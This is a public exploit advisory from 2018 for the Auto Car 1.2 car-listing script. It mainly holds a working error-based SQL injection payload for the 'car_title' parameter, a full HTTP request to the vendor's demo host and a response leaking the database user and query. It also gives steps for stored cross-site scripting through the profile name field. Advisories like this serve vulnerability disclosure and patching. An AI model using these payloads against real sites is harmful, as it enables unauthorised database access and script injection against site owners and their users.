Auto Car 1.2 Cross Site Scripting / SQL Injection

`# Exploit Title: Auto car 1.2 - 'car_title' SQL Injection / Cross-Site Scripting  
# Date: 2018-05-22  
# Exploit Author: Borna nematzadeh (L0RD)  
# Vendor Homepage: https://codecanyon.net/item/auto-car-car-listing-script/19221368?s_rank=1159  
# Version: 1.2  
# Tested on: Win 10  
  
# POC 1: SQLi:  
  
# Parameter: car_title  
# Type: Error based  
# Payload: 1' and extractvalue(1,Concat(0x3a,user(),0x3a))#  
# test: http://target/scripts/autocar_preview/  
  
# Request:  
  
POST /scripts/autocar_preview/search-cars HTTP/1.1  
Host: kamleshyadav.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://kamleshyadav.com/scripts/autocar_preview/  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 58  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
  
car_title=1' and extractvalue(1,Concat(0x3a,user(),0x3a))#  
  
# Response:  
  
HTTP/1.1 500 Internal Server Error  
Server: nginx/1.12.2  
Date: Tue, 22 May 2018 14:36:47 GMT  
Content-Type: text/html; charset=UTF-8  
Content-Length: 1371  
Connection: keep-alive  
  
<h1>A Database Error Occurred</h1>  
<p>Error Number: 1105</p><p>XPATH syntax error:  
':kamleshy_event@localhost:'</p><p>SELECT  
*  
FROM `autocar_car_details`  
WHERE `car_status` = 1 AND `car_title` LIKE '%1' and  
extractvalue(1,Concat(0x3a,user(),0x3a))#%'</p>  
  
# POC 2: Cross site scripting:  
  
1) Create your account and navigate to "edit profile"  
2) Put this payload in "name" and update your profile:  
<script>alert('xss')</script>  
3) You will have an alert box in your page .  
  
  
`